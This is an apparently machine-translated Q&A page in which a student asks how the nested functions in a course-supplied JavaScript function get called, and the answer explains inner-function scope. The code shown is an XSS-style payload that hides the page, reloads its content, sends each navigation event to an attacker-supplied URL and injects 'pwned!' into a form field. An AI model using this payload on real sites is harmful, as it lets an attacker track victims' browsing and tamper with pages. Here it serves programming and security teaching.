在Javascript中传递数据和href作为函数参数

passing in data and href as function parameters in Javascript

本文关键字:href 函数 参数 数据 Javascript      更新时间:2023-09-26

在我的课程中,我得到了以下代码

function payload(attacker) {
            function log(data) {
                console.log($.param(data))
                $.get(attacker, data);
            }
            function proxy(href) {
                $("html").load(href, function(){
                    $("html").show();
                    log({event: "nav", uri: href});
                    $("#query").val("pwned!");
                });
            }
            $("html").hide();
            proxy("./");
        }

在函数logproxy中,参数是如何调用的?在后续代码中,只调用了payload(attacker,但我不知道如何通过调用payload来同时调用其他两个函数。

我看到它们也是HTML标记,那么这是另一种只存在于Javascript中的参数类型吗?

另外两个是内部函数;他们只是在帮助payload完成它的工作,并且只存在于它的范围内。请注意,在函数定义的末尾是如何调用CCD_ 6的?,将href设置为"./"并加载一些内容,包括在控制台上转储一些信息(通过对log的调用)。其他函数就是这样调用的。没什么神奇的事。只需听从召唤。